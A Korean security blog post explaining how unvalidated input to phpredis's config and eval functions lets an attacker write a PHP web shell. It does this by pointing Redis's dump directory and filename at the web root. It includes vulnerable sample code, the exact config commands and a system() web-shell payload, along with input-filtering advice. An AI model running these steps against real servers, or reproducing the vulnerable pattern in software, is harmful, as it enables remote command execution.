본문으로 건너뛰기

Redis를 이용한 PHP 웹 쉘 업로드

Security Web Redis Php Webshell
목차
thumbnail

프로그래밍 언어에서는 Redis를 사용하기 위한 라이브러리를 제공하는데요, PHP에서도 phpredis라는 라이브러리(Extension)를 제공하고 있습니다.

해당 라이브러리 함수에 입력되는 값의 검증이 미흡한 경우, 각종 취약점에 노출될 수 있습니다.

이 글에서는 phpredis의 eval과 config 함수에 입력되는 값 검증이 미흡한 경우에 발생할 수 있는 웹 쉘 업로드 취약점의 발생 과정과 대응 방안을 살펴보고자 합니다.

아래와 같이 사용자의 입력을 받아 eval, config 함수의 인자로 전달하는 코드가 있습니다.

$config_result = json_encode($redis->config($_GET['option'], $_GET['key']));
$eval_result = json_encode($redis->eval($_GET['script']));

먼저 각 함수의 간략한 설명과 보안 위협 및 대응방안을 알아보겠습니다.

💥 config 함수
#

https://phpredis.github.io/phpredis/Redis.html#method_config

config 함수

Redis의 CONFIG 명령어를 실행합니다. $operationGET을 넘겨 설정 값을 조회하거나 SET을 넘겨 설정 값을 셋팅할 수 도 있습니다.

주목할 점은 $operation으로 RESETSTAT, REWRITE, GET, SET 만 설정할 수 있다는 것입니다.

예를 들자면 아래와 같이 사용할 수 있습니다.

# Snapshot(RDB) 저장 주기 설정을 조회
$redis->config('GET', 'save');

# Snapshot(RDB) 저장 주기를 설정 (10초 동안 1회 이상 key 변경이 발생하면 저장)
$redis->config('SET', 'save', 10 1);

# Snapshot(RDB)이 저장되는 경로를 설정
$redis->config('SET', 'dir', '/var/www/html');

# Snapshot(RDB)이 저장되는 파일명을 설정
$redis->config('SET', 'dbfilename', 'shell.php');

Redis에서는 다음 명령어와 매치됩니다.

CONFIG GET save
CONFIG SET save 10 1

🛡️ 보안 위협 및 대응
#

사용자의 입력 값이 검증없이 config 함수의 인자로 입력되는 경우, 사용자가 임의로 redis의 설정을 변경할 수 있습니다.

특히 dir, dbfilename 설정을 무단 변경할 수 있는 경우, 공격자가 Redis 명령어를 실행하여 임의로 로그 문자열을 원하는 위치의 파일에 남길 수 있게됩니다. (파일, 디렉토리 권한 설정이 취약하다는 가정 하)

이를 방지하기 위해서는 서비스에서 필요한 값만 전달될 수 있도록 필터링하는 방법이 있습니다.

💥 eval 함수
#

https://phpredis.github.io/phpredis/Redis.html#method_eval

eval 함수

Redis의 EVAL 명령어를 실행합니다. $script에 LUA Script를 전달하여 실행시킬 수 있습니다.

특이한 점은 CONFIG 등 일부 명령어는 실행되지 않는다는 점입니다.

(Redis Github에서 확인할 수 있듯, NOSCRIPT 플래그가 존재하는 경우, LUA 스크립트 상에서 사용하지 못합니다.)

$redis->eval("return redis.call('CONFIG', 'GET', 'dir')");

<!-- POST cmd = return redis.call('SET', 'test', '<?php system("/flag"); ?>') -->
$redis->eval($_POST['cmd'])

NOSCRIPT 설정

Redis에서는 다음 명령어와 매치됩니다.

# CONFIG 명령어는 LUA 스크립트를 통해 실행할 수 없습니다.
EVAL "return redis.call('CONFIG', KEYS[1], ARGV[1])" 1 GET dir
(error) ERR This Redis command is not allowed from script script: 6eb12e0c8fe5db3b69439e9c5d90bcc30aa33844, on @user_script:1.

# 아래와 같은 일반 명령어는 실행 가능합니다.
EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 test 123
OK

EVAL "return redis.call('GET', 'test')" 0
"123"

🛡️ 보안 위협 및 대응
#

eval 함수에 입력되는 값의 검증이 미흡한 경우, LUA 스크립트를 이용해 실행할 수 있는 명령은 모두 가능하게 됩니다. (NOSCRIPT 명령 제외)

허용 가능한 명령어만 입력되도록 필터링해야 합니다.

💥 config와 eval 함수를 악용하여 웹 쉘 업로드
#

사실, 위 두 함수를 잘 이용하면 공격자가 원하는 파일에 원하는 내용의 문자열을 채울 수 있습니다.

  1. 우선 config 함수를 이용해 dir 설정을 변경하여 명령어 로그 파일의 경로를 웹에서 접근할 수 있는 곳으로 변경합니다.

    # Snapshot(RDB)이 저장되는 경로를 설정
    $redis->config('SET', 'dir', '/var/www/html');
    
  2. config 함수를 이용해 dbfilename 설정을 변경하여 웹에서 접근할 수 있는 파일에 명령어 로그가 저장되도록 합니다.

    # Snapshot(RDB)이 저장되는 파일명을 설정
    $redis->config('SET', 'dbfilename', 'shell.php');
    
  3. config 함수를 이용해 저장 주기를 변경하여 명령어 로그가 바로 남을 수 있도록 합니다.

    # Snapshot(RDB) 저장 주기를 설정 (10초 동안 1회 이상 key 변경이 발생하면 저장)
    $redis->config('SET', 'save', 10 1);
    
  4. SET 명령어로 임의 Key에 PHP 코드가 저장되도록 명령을 실행하면, 위에서 설정한 shell.php 파일에 php 코드가 로그로 남게됩니다.

    <!-- POST cmd = return redis.call('SET', 'test', '<?php system($_GET["cmd"]); ?>') -->
    $redis->eval($_GET['cmd'])
    
  5. 웹에서 /shell.php?cmd=id 경로 접속 시 id 명령어가 실행된 결과를 확인할 수 있습니다.

    webshell 실행

🛡️ 보안 위협 및 대응
#

함수에 입력되는 값의 검증이 미흡할 경우, 사용자가 임의의 값을 입력하여 설정을 변경하거나 악용할 수 있습니다. 허용된 값만 입력되도록 입력 값을 필터링해야 합니다.

📖 참고
#